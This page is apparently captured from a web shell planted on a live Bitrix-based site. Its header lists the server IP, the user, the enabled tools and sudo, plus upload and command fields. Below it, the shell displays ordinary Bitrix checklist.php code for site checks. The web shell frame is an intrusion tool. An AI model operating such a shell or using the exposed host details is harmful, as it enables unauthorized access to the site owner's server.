403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/classes/general/checklist.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2025 Bitrix
 */

use Bitrix\Main;
use Bitrix\Main\Authentication\Policy;
use Bitrix\Main\Loader;
use Bitrix\Main\Service\Version\BitrixVm;

IncludeModuleLangFile(__FILE__);

class CCheckList
{
	function __construct($ID = false)
	{
		$this->current_result = false;
		$this->started = false;
		$this->report_id = false;
		$this->report_info = "";
		$this->checklist_path = $_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/checklist_structure.php";
		if (file_exists($this->checklist_path))
		{
			$arCheckList = include($this->checklist_path);
		}
		else
		{
			return;
		}
		//bind custom checklist
		foreach (GetModuleEvents('main', 'OnCheckListGet', true) as $arEvent)
		{
			$arCustomChecklist = ExecuteModuleEventEx($arEvent, [$arCheckList]);

			if (is_array($arCustomChecklist["CATEGORIES"]))
			{
				foreach ($arCustomChecklist["CATEGORIES"] as $section_id => $arSectionFields)
				{
					if (!$arCheckList["CATEGORIES"][$section_id])
					{
						$arCheckList["CATEGORIES"][$section_id] = $arSectionFields;
					}
				}
			}
			if (is_array($arCustomChecklist["POINTS"]))
			{
				foreach ($arCustomChecklist["POINTS"] as $point_id => $arPointFields)
				{
					$parent = $arCustomChecklist["POINTS"][$point_id]["PARENT"];
					if (!$arCheckList["POINTS"][$point_id] && array_key_exists($parent, $arCheckList["CATEGORIES"]))
					{
						$arCheckList["POINTS"][$point_id] = $arPointFields;
					}
				}
			}
		}
		//end bind custom checklist
		$this->checklist = $arCheckList;
		$arFilter["REPORT"] = "N";
		if (intval($ID) > 0)
		{
			$arFilter["ID"] = $ID;
			$arFilter["REPORT"] = "Y";
		}

		$dbResult = CCheckListResult::GetList([], $arFilter);
		if ($arCurrentResult = $dbResult->Fetch())
		{
			$this->current_result = unserialize($arCurrentResult["STATE"], ['allowed_classes' => false]);
			if (intval($ID) > 0)
			{
				$this->report_id = intval($ID);
				unset($arCurrentResult["STATE"]);
				$this->report_info = $arCurrentResult;
			}

			foreach ($arCheckList["POINTS"] as $key => $arFields)
			{
				if (empty($this->current_result[$key]))
				{
					if ($this->report_id)
					{
						unset($this->checklist["POINTS"][$key]);
					}
					else
					{
						$this->current_result[$key] = [
							"STATUS" => "W"];
					}
				}
				////$this->current_result[$key] = array("STATUS" => "A");
			}
		}
		if ($this->current_result != false && $this->report_id == false)
		{
			$this->started = true;
		}
	}

	function GetSections()
	{
		$arSections = $this->checklist["CATEGORIES"];
		$arResult = [];
		foreach ($arSections as $key => $arFields)
		{
			$arResult[$key] = array_merge($this->GetDescription($key), $arFields);
			$arResult[$key]["STATS"] = $this->GetSectionStat($key);
		}
		return $arResult;
	}

	//getting sections statistic
	function GetSectionStat($ID = false)
	{
		$arResult = [
			"CHECK" => 0,
			"CHECK_R" => 0,
			"FAILED" => 0,
			"WAITING" => 0,
			"TOTAL" => 0,
			"REQUIRE_CHECK" => 0,
			"REQUIRE_SKIP" => 0,
			"NOT_REQUIRE_CHECK" => 0,
			"NOT_REQUIRE_SKIP" => 0,
			"CHECKED" => "N",
			"REQUIRE" => 0,
		];

		if (($ID != false && array_key_exists($ID, $this->checklist["CATEGORIES"])) || $ID == false)
		{
			$arPoints = $this->GetPoints($ID);
			$arSections = $this->checklist["CATEGORIES"];
			if (!empty($arPoints))
			{
				foreach ($arPoints as $arPointFields)
				{
					if ($arPointFields["STATE"]["STATUS"] == "A")
					{
						$arResult["CHECK"]++;
						if (isset($arPointFields['REQUIRE']) && $arPointFields['REQUIRE'] == 'Y')
						{
							$arResult["CHECK_R"]++;
						}
					}
					if ($arPointFields["STATE"]["STATUS"] == "F")
					{
						$arResult["FAILED"]++;
					}
					if ($arPointFields["STATE"]["STATUS"] == "W")
					{
						$arResult["WAITING"]++;
					}
					if (isset($arPointFields["REQUIRE"]) && $arPointFields["REQUIRE"] == "Y")
					{
						$arResult["REQUIRE"]++;
						if ($arPointFields["STATE"]["STATUS"] == "A")
						{
							$arResult["REQUIRE_CHECK"]++;
						}
						elseif ($arPointFields["STATE"]["STATUS"] == "S")
						{
							$arResult["REQUIRE_SKIP"]++;
						}
					}
					else
					{
						if ($arPointFields["STATE"]["STATUS"] == "A")
						{
							$arResult["NOT_REQUIRE_CHECK"]++;
						}
						elseif ($arPointFields["STATE"]["STATUS"] == "S")
						{
							$arResult["NOT_REQUIRE_SKIP"]++;
						}
					}
				}
			}
			$arResult["TOTAL"] = count($arPoints);

			if ($ID)
			{
				foreach ($arSections as $key => $arFields)
				{
					if (isset($arFields["PARENT"]) && $arFields["PARENT"] == $ID)
					{
						$arSubSectionStat = $this->GetSectionStat($key);
						$arResult["TOTAL"] += $arSubSectionStat["TOTAL"];
						$arResult["CHECK"] += $arSubSectionStat["CHECK"];
						$arResult["FAILED"] += $arSubSectionStat["FAILED"];
						$arResult["WAITING"] += $arSubSectionStat["WAITING"];
						$arResult["REQUIRE"] += $arSubSectionStat["REQUIRE"];
						$arResult["REQUIRE_CHECK"] += $arSubSectionStat["REQUIRE_CHECK"];
						$arResult["REQUIRE_SKIP"] += $arSubSectionStat["REQUIRE_SKIP"];
					}
				}
			}
			if (
				($arResult["REQUIRE"] > 0 && $arResult["FAILED"] == 0 && $arResult["REQUIRE"] == $arResult["REQUIRE_CHECK"])
				|| ($arResult["REQUIRE"] == 0 && $arResult["FAILED"] == 0 && $arResult["TOTAL"] > 0)
				|| ($arResult["CHECK"] == $arResult["TOTAL"] && $arResult["TOTAL"] > 0)
			)
			{
				$arResult["CHECKED"] = "Y";
			}
		}

		return $arResult;
	}

	function GetPoints($arSectionCode = false)
	{
		$arCheckList = $this->GetCurrentState();
		$arResult = [];
		if (is_array($arCheckList) && !empty($arCheckList))
		{
			foreach ($arCheckList["POINTS"] as $key => $arFields)
			{
				$arFields = array_merge($this->GetDescription($key), $arFields);

				if ($arFields["PARENT"] == $arSectionCode || $arSectionCode == false)
				{
					$arResult[$key] = $arFields;
				}
				if (isset($arResult[$key]["STATE"]['COMMENTS']) && is_array($arResult[$key]["STATE"]['COMMENTS']))
				{
					$arResult[$key]["STATE"]['COMMENTS_COUNT'] = count($arResult[$key]["STATE"]['COMMENTS']);
				}
			}
		}

		return $arResult;
	}

	function GetStructure()
	{ //build checklist stucture with section statistic & status info
		$arSections = $this->GetSections();
		foreach ($arSections as $key => $arSectionFields)
		{
			if (empty($arSectionFields["CATEGORIES"]))
			{
				$arSections[$key]["CATEGORIES"] = [];
				$arSectionFields["CATEGORIES"] = [];
			}
			if (empty($arSectionFields["PARENT"]))
			{
				$arSections[$key]["POINTS"] = $this->GetPoints($key);
				$arSections[$key] = array_merge($arSections[$key], $this->GetSectionStat($key));
				continue;
			}

			$arFields = $arSectionFields;
			$arFields["POINTS"] = $this->GetPoints($key);
			$arFields = array_merge($arFields, $this->GetSectionStat($key));
			$arSections[$arFields["PARENT"]]["CATEGORIES"][$key] = $arFields;
			unset($arSections[$key]);
		}

		$arResult["STRUCTURE"] = $arSections;
		$arResult["STAT"] = $this->GetSectionStat();
		return $arResult;
	}

	function PointUpdate($arTestID, $arPointFields = [])
	{//update test info in the object property
		if (!$arTestID || empty($arPointFields) || $this->report_id)
		{
			return false;
		}

		$currentFields =
			is_array($this->current_result) && isset($this->current_result[$arTestID])
				? $this->current_result[$arTestID]
				: [];

		if (!$arPointFields["STATUS"])
		{
			$arPointFields["STATUS"] = $currentFields["STATUS"];
		}

		$this->current_result[$arTestID] = $arPointFields;

		return true;
	}

	function GetDescription($ID)
	{
		//getting description of sections and points
		$file = $_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/lang/" . LANG . "/admin/checklist/" . $ID . ".html";
		$howTo = "";
		if (file_exists($file))
		{
			$howTo = file_get_contents($file);
		}

		$convertEncoding = \Bitrix\Main\Localization\Translation::needConvertEncoding(LANG);
		if ($convertEncoding)
		{
			$targetEncoding = \Bitrix\Main\Localization\Translation::getCurrentEncoding();
			$sourceEncoding = \Bitrix\Main\Localization\Translation::getSourceEncoding(LANG);
			if ($targetEncoding !== 'utf-8' || !preg_match('//u', $howTo))
			{
				$howTo = \Bitrix\Main\Text\Encoding::convertEncoding($howTo, $sourceEncoding, $targetEncoding);
			}
		}

		$arDesc = [
			"NAME" => GetMessage("CL_" . $ID),
			"DESC" => GetMessage("CL_" . $ID . "_DESC", ['#LANG#' => LANG]),
			"AUTOTEST_DESC" => GetMessage("CL_" . $ID . "_AUTOTEST_DESC"),
			"HOWTO" => ($howTo <> '') ? (str_ireplace('#LANG#', LANG, $howTo)) : "",
			"LINKS" => GetMessage("CL_" . $ID . "_LINKS"),
		];

		return $arDesc;
	}

	function Save()
	{//saving current state
		if (!$this->report_id)
		{
			$res = CCheckListResult::Save(["STATE" => $this->current_result]);
			if (!is_array($res))
			{
				CUserOptions::SetOption("checklist", "autotest_start", "Y", true, false);
			}
			return $res;
		}
		return false;
	}

	function GetCurrentState()
	{//getting current state
		$arCheckList = $this->checklist;
		$currentState = $this->current_result;
		foreach ($arCheckList["POINTS"] as $testID => $arTestFields)
		{
			if (!empty($currentState[$testID]))
			{
				$arCheckList["POINTS"][$testID]["STATE"] = $currentState[$testID];
			}
			else
			{
				$arCheckList["POINTS"][$testID]["STATE"] = [
					"STATUS" => "W",
				];
			}
		}

		return $arCheckList;
	}

	function AutoCheck($arTestID, $arParams = [])
	{//execute point autotest
		$arParams["TEST_ID"] = $arTestID;
		$arPoints = $this->GetPoints();
		$arPoint = $arPoints[$arTestID];
		$result = false;
		if (!$arPoint || $arPoint["AUTO"] != "Y")
		{
			return false;
		}
		if (isset($arPoints[$arTestID]["PARAMS"]) && is_array($arPoints[$arTestID]["PARAMS"]))
		{
			$arParams = array_merge($arParams, $arPoints[$arTestID]["PARAMS"]);
		}
		$arClass = $arPoint["CLASS_NAME"];
		$arMethod = $arPoint["METHOD_NAME"];

		if (!empty($arPoint["FILE_PATH"]) && file_exists($_SERVER["DOCUMENT_ROOT"] . $arPoint["FILE_PATH"]))
		{
			include($_SERVER["DOCUMENT_ROOT"] . $arPoint["FILE_PATH"]);
		}

		if (is_callable([$arClass, $arMethod]))
		{
			$result = call_user_func_array([$arClass, $arMethod], [$arParams]);
		}

		$arResult = [];
		if ($result && is_array($result))
		{
			if (array_key_exists("STATUS", $result))
			{
				$arFields["STATUS"] = "F";
				if ($result['STATUS'] == "true")
				{
					$arFields["STATUS"] = "A";
				}

				$arFields["COMMENTS"] = $arPoint["STATE"]["COMMENTS"] ?? [];
				$arFields["COMMENTS"]["SYSTEM"] = [];
				if (isset($result["MESSAGE"]["PREVIEW"]))
				{
					$arFields["COMMENTS"]["SYSTEM"]["PREVIEW"] = $result["MESSAGE"]["PREVIEW"];
				}
				if (isset($result["MESSAGE"]["DETAIL"]))
				{
					$arFields["COMMENTS"]["SYSTEM"]["DETAIL"] = $result["MESSAGE"]["DETAIL"];
				}

				if ($this->PointUpdate($arTestID, $arFields))
				{
					if ($this->Save())
					{
						$arResult = [
							"STATUS" => $arFields["STATUS"],
							"COMMENTS_COUNT" => count($arFields["COMMENTS"] ?? []),
							"ERROR" => $result["ERROR"] ?? null,
							"SYSTEM_MESSAGE" => $arFields["COMMENTS"]["SYSTEM"] ?? '',
						];
					}
				}
			}
			elseif ($result["IN_PROGRESS"] == "Y")
			{
				$arResult = [
					"IN_PROGRESS" => "Y",
					"PERCENT" => $result["PERCENT"],
				];
			}
		}
		else
		{
			$arResult = ["STATUS" => "W"];
		}

		return $arResult;
	}

	function AddReport($arReportFields = [], $errorCheck = false)
	{//saving current state to a report
		if ($this->report_id)
		{
			return false;
		}

		if ($errorCheck && !$arReportFields["TESTER"] && !$arReportFields["COMPANY_NAME"])
		{
			return ["ERROR" => GetMessage("EMPTY_NAME")];
		}

		$arStats = $this->GetSectionStat();
		$arFields = [
			"TESTER" => $arReportFields["TESTER"],
			"COMPANY_NAME" => $arReportFields["COMPANY_NAME"],
			"PHONE" => $arReportFields["PHONE"],
			"EMAIL" => $arReportFields["EMAIL"],
			"PICTURE" => $arReportFields["PICTURE"],
			"REPORT_COMMENT" => $arReportFields["COMMENT"],
			"STATE" => $this->current_result,
			"TOTAL" => $arStats["TOTAL"],
			"SUCCESS" => $arStats["CHECK"],
			"SUCCESS_R" => $arStats["CHECK_R"],
			"FAILED" => $arStats["FAILED"],
			"PENDING" => $arStats["WAITING"],
			"REPORT" => true,
		];

		$arReportID = CCheckListResult::Save($arFields);
		if ($arReportID > 0)
		{
			$dbres = CCheckListResult::GetList([], ["REPORT" => "N"]);
			if ($res = $dbres->Fetch())
			{
				CCheckListResult::Delete($res["ID"]);
				CUserOptions::SetOption("checklist", "autotest_start", "N", true, false);
			}
			return $arReportID;
		}

		return false;
	}

	function GetReportInfo()
	{//getting report information
		if ($this->report_id)
		{
			$checklist = new CCheckList($this->report_id);
			if ($checklist->current_result == false)
			{
				return false;
			}
			$arResult = $checklist->GetStructure();

			//removing empty sections
			/*foreach($arResult["STRUCTURE"] as $key => $rFields)
			{
				$arsCategories = array();
				foreach ($rFields["CATEGORIES"] as $skey => $sFields)
				{
					if (count($sFields["POINTS"])>0)
						$arsCategories[$skey] = $sFields;
				}
				if (count($arsCategories)>0)
				{
					$rFields["CATEGORIES"] = $arsCategories;
					$arTmpStructure[$key] = $rFields;
				}
			}
			$arResult["STRUCTURE"] = $arTmpStructure;*/
			$arResult["POINTS"] = $checklist->GetPoints();
			$arResult["INFO"] = $checklist->report_info;

			return $arResult;
		}
		return false;
	}
}

class CCheckListResult
{
	public static function Save($arFields = [])
	{
		global $DB;

		$arResult = [];
		if ($arFields["STATE"] && is_array($arFields["STATE"]))
		{
			$arFields["STATE"] = serialize($arFields["STATE"]);
		}
		else
		{
			$arResult["ERRORS"][] = GetMessage("ERROR_DATA_RECEIVED");
		}

		$currentState = false;
		if (!isset($arFields["REPORT"]) || $arFields["REPORT"] != true)
		{
			$arFields["REPORT"] = "N";
			$db_result = $DB->Query("SELECT ID FROM b_checklist WHERE REPORT <> 'Y'");
			$currentState = $db_result->Fetch();
		}
		else
		{
			$arFields["REPORT"] = "Y";
		}

		if (!empty($arResult["ERRORS"]))
		{
			return $arResult;
		}

		if ($currentState)
		{
			$strUpdate = $DB->PrepareUpdate("b_checklist", $arFields);
			$strSql = "UPDATE b_checklist SET " . $strUpdate . " WHERE ID=" . $currentState["ID"];
		}
		else
		{
			$arInsert = $DB->PrepareInsert("b_checklist", $arFields);
			$strSql = "INSERT INTO b_checklist(" . $arInsert[0] . ", DATE_CREATE) " .
				"VALUES(" . $arInsert[1] . ", '" . ConvertTimeStamp(time(), "FULL") . "')";
		}

		$arBinds = [
			"STATE" => $arFields["STATE"],
		];
		$arResult = $DB->QueryBind($strSql, $arBinds);

		return $arResult;
	}

	public static function GetList($arOrder = [], $arFilter = [])
	{
		global $DB;

		$arSqlWhereStr = '';
		if (is_array($arFilter) && !empty($arFilter))
		{
			$arSqlWhere = [];
			$arSqlFields = ["ID", "REPORT", "HIDDEN", "SENDED_TO_BITRIX"];
			foreach ($arFilter as $key => $value)
			{
				if (in_array($key, $arSqlFields))
				{
					$arSqlWhere[] = $key . "='" . $DB->ForSql($value) . "'";
				}
			}
			$arSqlWhereStr = GetFilterSqlSearch($arSqlWhere);
		}

		$strSql = "SELECT * FROM b_checklist";
		if ($arSqlWhereStr <> '')
		{
			$strSql .= " WHERE " . $arSqlWhereStr;
		}
		$strSql .= " ORDER BY ID desc";
		$arResult = $DB->Query($strSql);

		return $arResult;
	}

	public static function Update($ID, $arFields)
	{
		global $DB;
		$ID = intval($ID);

		$strUpdate = $DB->PrepareUpdate("b_checklist", $arFields);

		$strSql =
			"UPDATE b_checklist SET " . $strUpdate . " WHERE ID = " . $ID . " ";
		$DB->Query($strSql);
		return $ID;
	}

	public static function Delete($ID)
	{
		global $DB;
		$ID = intval($ID);
		if (!$ID > 0)
		{
			return false;
		}
		$strSql = "DELETE FROM b_checklist where ID=" . $ID;
		if ($arResult = $DB->Query($strSql))
		{
			return true;
		}
		return false;
	}
}

class CAutoCheck
{
	public static function CheckCustomComponents($arParams)
	{
		$arResult["STATUS"] = false;
		$arComponentFolders = [
			"/bitrix/components",
			"/local/components",
		];
		$components = [];
		foreach ($arComponentFolders as $componentFolder)
		{
			if (file_exists($_SERVER['DOCUMENT_ROOT'] . $componentFolder) && ($handle = opendir($_SERVER['DOCUMENT_ROOT'] . $componentFolder)))
			{
				while (($file = readdir($handle)) !== false)
				{
					if ($file == "bitrix" || $file == ".." || $file == ".")
					{
						continue;
					}

					$dir = $componentFolder . "/" . $file;
					if (is_dir($_SERVER['DOCUMENT_ROOT'] . $dir))
					{
						if (CComponentUtil::isComponent($dir))
						{
							$components[] = [
								"path" => $dir,
								"name" => $file,
							];
						}
						elseif ($comp_handle = opendir($_SERVER['DOCUMENT_ROOT'] . $dir))
						{
							while (($subdir = readdir($comp_handle)) !== false)
							{
								if ($subdir == ".." || $subdir == "." || $subdir == ".svn")
								{
									continue;
								}

								if (CComponentUtil::isComponent($dir . "/" . $subdir))
								{
									$components[] = [
										"path" => $dir . "/" . $subdir,
										"name" => $file . ":" . $subdir,
									];
								}
							}
							closedir($comp_handle);
						}
					}
				}
				closedir($handle);
			}
		}
		if (isset($arParams["ACTION"]) && $arParams["ACTION"] == "FIND")
		{
			foreach ($components as $component)
			{
				$arResult["MESSAGE"]["DETAIL"] .= $component["name"] . " \n";
			}

			if ($arResult["MESSAGE"]["DETAIL"] == '')
			{
				$arResult["MESSAGE"]["PREVIEW"] = GetMessage("CL_HAVE_NO_CUSTOM_COMPONENTS");
			}
			else
			{
				$arResult = [
					"STATUS" => true,
					"MESSAGE" => [
						"PREVIEW" => GetMessage("CL_HAVE_CUSTOM_COMPONENTS") . " (" . count($components) . ")",
						"DETAIL" => $arResult["MESSAGE"]["DETAIL"],
					],
				];
			}
		}
		else
		{
			foreach ($components as $component)
			{
				$desc = $_SERVER['DOCUMENT_ROOT'] . $component["path"] . "/.description.php";
				if (!file_exists($desc) || filesize($desc) === 0)
				{
					$arResult["MESSAGE"]["DETAIL"] .= GetMessage("CL_EMPTY_DESCRIPTION") . " " . $component["name"] . " \n";
				}
			}

			if (!isset($arResult["MESSAGE"]["DETAIL"]) || $arResult["MESSAGE"]["DETAIL"] == '')
			{
				$arResult["STATUS"] = true;
				$arResult["MESSAGE"]["PREVIEW"] = GetMessage("CL_HAVE_CUSTOM_COMPONENTS_DESC");
			}
			else
			{
				$arResult = [
					"STATUS" => false,
					"MESSAGE" => [
						"PREVIEW" => GetMessage("CL_ERROR_FOUND_SHORT"),
						"DETAIL" => $arResult["MESSAGE"]["DETAIL"],
					],
				];
			}
		}
		return $arResult;
	}

	public static function CheckBackup()
	{
		$arCount = 0;
		$arResult = [];
		$arResult["STATUS"] = false;
		$bBitrixCloud = function_exists('openssl_encrypt') && CModule::IncludeModule('bitrixcloud') && CModule::IncludeModule('clouds');

		$site = CSite::GetSiteByFullPath($_SERVER['DOCUMENT_ROOT']);
		$path = BX_ROOT . "/backup";
		$arTmpFiles = [];
		$arFilter = [];
		GetDirList([$site, $path], $arDir, $arTmpFiles, $arFilter, ['sort' => 'asc'], "F");

		foreach ($arTmpFiles as $ar)
		{
			if (mb_strpos($ar['NAME'], ".enc.gz") || mb_strpos($ar['NAME'], ".tar.gz") || mb_strpos($ar['NAME'], ".tar") || mb_strpos($ar['NAME'], ".enc"))
			{
				$arCount++;
			}
		}

		if ($bBitrixCloud)
		{
			$backup = CBitrixCloudBackup::getInstance();
			try
			{
				foreach ($backup->listFiles() as $ar)
				{
					if (mb_strpos($ar['FILE_NAME'], ".enc.gz") || mb_strpos($ar['FILE_NAME'], ".tar.gz") || mb_strpos($ar['FILE_NAME'], ".tar") || mb_strpos($ar['FILE_NAME'], ".enc"))
					{
						$arCount++;
					}
				}
			}
			catch (Exception $e)
			{
			}
		}
		if ($arCount > 0)
		{
			$arResult["STATUS"] = true;
			$arResult["MESSAGE"]["PREVIEW"] = GetMessage("CL_FOUND_BACKUP", ["#count#" => $arCount]);
		}
		else
		{
			$arResult["MESSAGE"]["PREVIEW"] = GetMessage("CL_NOT_FOUND_BACKUP");
		}
		return $arResult;
	}

	public static function CheckTemplates()
	{
		$arFolders = [
			$_SERVER['DOCUMENT_ROOT'] . "/bitrix/templates",
			$_SERVER['DOCUMENT_ROOT'] . "/local/templates",
		];
		$arResult["STATUS"] = false;
		$arCount = 0;
		$arRequireFiles = ["header.php", "footer.php"];
		$arFilter = [".svn", ".", ".."];
		$arMessage = '';
		foreach ($arFolders as $folder)
		{
			if (file_exists($folder) && ($arTemplates = scandir($folder)))
			{
				foreach ($arTemplates as $dir)
				{
					$arTemplateFolder = $folder . "/" . $dir;
					if (in_array($dir, $arFilter) || !is_dir($arTemplateFolder))
					{
						continue;
					}
					$arRequireFilesTmp = $arRequireFiles;

					foreach ($arRequireFilesTmp as $k => $file)
					{
						if (!file_exists($arTemplateFolder . "/" . $file))
						{
							$arMessage .= GetMessage("NOT_FOUND_FILE", ["#template#" => $dir, "#file_name#" => $file]) . "\n";
							unset($arRequireFilesTmp[$k]);
						}
					}

					if (in_array("header.php", $arRequireFilesTmp))
					{
						if (file_exists($arTemplateFolder . '/header.php'))
						{
							$header = file_get_contents($arTemplateFolder . '/header.php');

							if ($header != '')
							{
								preg_match('/\$APPLICATION->ShowHead\(/im', $header, $arShowHead);
								preg_match('/\$APPLICATION->ShowTitle\(/im', $header, $arShowTitle);
								preg_match('/\$APPLICATION->ShowPanel\(/im', $header, $arShowPanel);
								if (!in_array($dir, ['mail_join']) && empty($arShowHead))
								{
									preg_match_all('/\$APPLICATION->(ShowCSS|ShowHeadScripts|ShowHeadStrings)\(/im', $header, $arShowHead);
									if (!$arShowHead[0] || count($arShowHead[0]) != 3)
									{
										$arMessage .= GetMessage("NO_SHOWHEAD", ["#template#" => $dir]) . "\n";
									}
								}
								if (!in_array($dir, ['empty', 'mail_join']) && empty($arShowTitle))
								{
									$arMessage .= GetMessage("NO_SHOWTITLE", ["#template#" => $dir]) . "\n";
								}
								if (!in_array($dir, ['mobile_app', 'desktop_app', 'empty', 'learning_10_0_0', 'call_app', 'mail_join', 'dashboard_detail']) && empty($arShowPanel))
								{
									$arMessage .= GetMessage("NO_SHOWPANEL", ["#template#" => $dir]) . "\n";
								}
							}
						}
					}

					$arCount++;
				}
			}
		}

		if ($arCount == 0)
		{
			$arResult["MESSAGE"]["PREVIEW"] = GetMessage("NOT_FOUND_TEMPLATE");
		}
		elseif ($arMessage == '')
		{
			$arResult["STATUS"] = true;
		}

		$arResult["MESSAGE"] = [
			"PREVIEW" => GetMessage("TEMPLATE_CHECK_COUNT", ["#count#" => $arCount]),
			"DETAIL" => $arMessage,
		];

		return $arResult;
	}

	public static function CheckKernel($arParams)
	{
		global $DB;

		$startTime = time();
		$installFilesMapping = [
			"install/components/bitrix/" => "/bitrix/components/bitrix/",
			"install/js/" => "/bitrix/js/",
			"install/activities/" => "/bitrix/activities/",
			"install/admin/" => "/bitrix/admin/",
			"install/wizards/" => "/bitrix/wizards/",
		];

		$events = \Bitrix\Main\EventManager::getInstance()->findEventHandlers("main", "onKernelCheckInstallFilesMappingGet");
		foreach ($events as $event)
		{
			$pathList = ExecuteModuleEventEx($event);
			if (is_array($pathList))
			{
				foreach ($pathList as $pathFrom => $pathTo)
				{
					if (!array_key_exists($pathFrom, $installFilesMapping))
					{
						$installFilesMapping[$pathFrom] = $pathTo;
					}
				}
			}
		}

		if (empty(\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"][$arParams["TEST_ID"]]))
		{
			\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"][$arParams["TEST_ID"]] = [];
		}
		$NS = &\Bitrix\Main\Application::getInstance()->getSession()["BX_CHECKLIST"][$arParams["TEST_ID"]];
		if ($arParams["STEP"] == false)
		{
			$NS = [];
			$rsInstalledModules = CModule::GetList();
			while ($ar = $rsInstalledModules->Fetch())
			{
				if (!mb_strpos($ar["ID"], "."))
				{
					$NS["MLIST"][] = $ar["ID"];
				}
			}
			$NS["MNUM"] = 0;
			$NS["FILE_LIST"] = [];
			$NS["FILES_COUNT"] = 0;
			$NS["MODFILES_COUNT"] = 0;
		}

		$arError = false;
		$moduleId = $NS["MLIST"][$NS["MNUM"]];
		$moduleFolder = $_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/" . $moduleId . "/";
		$dbtype = mb_strtolower($DB->type);
		$fileCount = 0;
		$modifiedFileCount = 0;
		$state = [];
		$skip = false;

		$ver = \Bitrix\Main\ModuleManager::getVersion($moduleId);
		if ($ver === false)
		{
			$state = [
				"STATUS" => false,
				"MESSAGE" => GetMessage("CL_MODULE_VERSION_ERROR", ["#module_id#" => $moduleId]) . "\n",
			];
			$arError = true;
		}
		else
		{
			if (empty($NS["FILE_LIST"]))
			{
				$sHost = COption::GetOptionString("main", "update_site", "www.1c-bitrix.ru");
				$proxyAddr = COption::GetOptionString("main", "update_site_proxy_addr", "");
				$proxyPort = COption::GetOptionString("main", "update_site_proxy_port", "");
				$proxyUserName = COption::GetOptionString("main", "update_site_proxy_user", "");
				$proxyPassword = COption::GetOptionString("main", "update_site_proxy_pass", "");

				$http = new \Bitrix\Main\Web\HttpClient();
				$http->setProxy($proxyAddr, $proxyPort, $proxyUserName, $proxyPassword);

				$data = $http->get("https://" . $sHost . "/bitrix/updates/checksum.php?check_sum=Y&module_id=" . $moduleId . "&ver=" . $ver . "&dbtype=" . $dbtype . "&mode=2");

				$result = unserialize(gzinflate($data), ['allowed_classes' => false]);
				if (is_array($result))
				{
					$NS["FILE_LIST"] = $result;
				}
				$NS["MODULE_FILES_COUNT"] = count($NS["FILE_LIST"]);
			}
			else
			{
				$result = $NS["FILE_LIST"];
			}

			$message = "";
			$timeout = COption::GetOptionString("main", "update_load_timeout", "30");
			if (is_array($result) && empty($result["error"]))
			{
				foreach ($result as $file => $checksum)
				{
					$filePath = $moduleFolder . $file;
					unset($NS["FILE_LIST"][$file]);

					if (!file_exists($filePath))
					{
						continue;
					}

					$fileCount++;
					if (md5_file($filePath) != $checksum)
					{
						$message .= str_replace(["//", "\\\\"], ["/", "\\"], $filePath) . "\n";
						$modifiedFileCount++;
					}

					foreach ($installFilesMapping as $key => $value)
					{
						if (mb_strpos($file, $key) === 0)
						{
							$filePath = str_replace($key, $_SERVER["DOCUMENT_ROOT"] . $value, $file);
							if (file_exists($filePath) && md5_file($filePath) != $checksum)
							{
								$modifiedFileCount++;
								$message .= str_replace(["//", "\\\\"], ["/", "\\"], $filePath) . "\n";
							}
							$fileCount++;
						}
					}

					if ((time() - $startTime) >= $timeout)
					{
						break;
					}
				}
				if ($message <> '')
				{
					$state = [
						"MESSAGE" => $message,
						"STATUS" => false,
					];
				}
			}
			else
			{
				if ($result["error"] != "unknow module id")
				{
					$state["MESSAGE"] = GetMessage("CL_CANT_CHECK", ["#module_id#" => $moduleId]) . "\n";
					$arError = true;
				}
				else
				{
					$skip = true;
				}
			}
		}
		if (!empty($state["MESSAGE"]))
		{
			if (!isset($NS["MESSAGE"][$moduleId]))
			{
				$NS["MESSAGE"][$moduleId] = '';
			}

			$NS["MESSAGE"][$moduleId] .= $state["MESSAGE"];
		}
		if (!$arError && !$skip)
		{
			if (empty($NS["FILE_LIST"]))
			{
				if (!isset($NS["MESSAGE"][$moduleId]) || $NS["MESSAGE"][$moduleId] == '')
				{
					$NS["MESSAGE"][$moduleId] = GetMessage("CL_NOT_MODIFIED", ["#module_id#" => $moduleId]) . "\n";
				}
				else
				{
					$NS["MESSAGE"][$moduleId] = GetMessage("CL_MODIFIED_FILES", ["#module_id#" => $moduleId]) . "\n" . $NS["MESSAGE"][$moduleId];
				}
			}
			$NS["FILES_COUNT"] += $fileCount;
			$NS["MODFILES_COUNT"] += $modifiedFileCount;
		}
		if ((isset($state["STATUS"]) && $state["STATUS"] === false) || $arError == true || $skip)
		{
			if ((isset($state["STATUS"]) && $state["STATUS"] === false) || $arError == true)
			{
				$NS["STATUS"] = false;
			}
			$NS["FILE_LIST"] = [];
			$NS["MODULE_FILES_COUNT"] = 0;
		}

		if (($NS["MNUM"] + 1) >= (count($NS["MLIST"])) && empty($NS["LAST_FILE"]))
		{
			$arDetailReport = "";
			foreach ($NS["MESSAGE"] as $module_message)
			{
				$arDetailReport .= "<div class=\"checklist-dot-line\"></div>" . $module_message;
			}
			$arResult = [
				"MESSAGE" => [
					"PREVIEW" => GetMessage("CL_KERNEL_CHECK_FILES") . $NS["FILES_COUNT"] . "\n" .
						GetMessage("CL_KERNEL_CHECK_MODULE") . count($NS["MLIST"]) . "\n" .
						GetMessage("CL_KERNEL_CHECK_MODIFIED") . $NS["MODFILES_COUNT"],
					"DETAIL" => $arDetailReport,
				],
				"STATUS" => ($NS["STATUS"] === false ? false : true),
			];
		}
		else
		{
			$percent = round(($NS["MNUM"]) / (count($NS["MLIST"]) * 0.01), 0);
			$module_percent = 0;
			if ($NS["MODULE_FILES_COUNT"] > 0)
			{
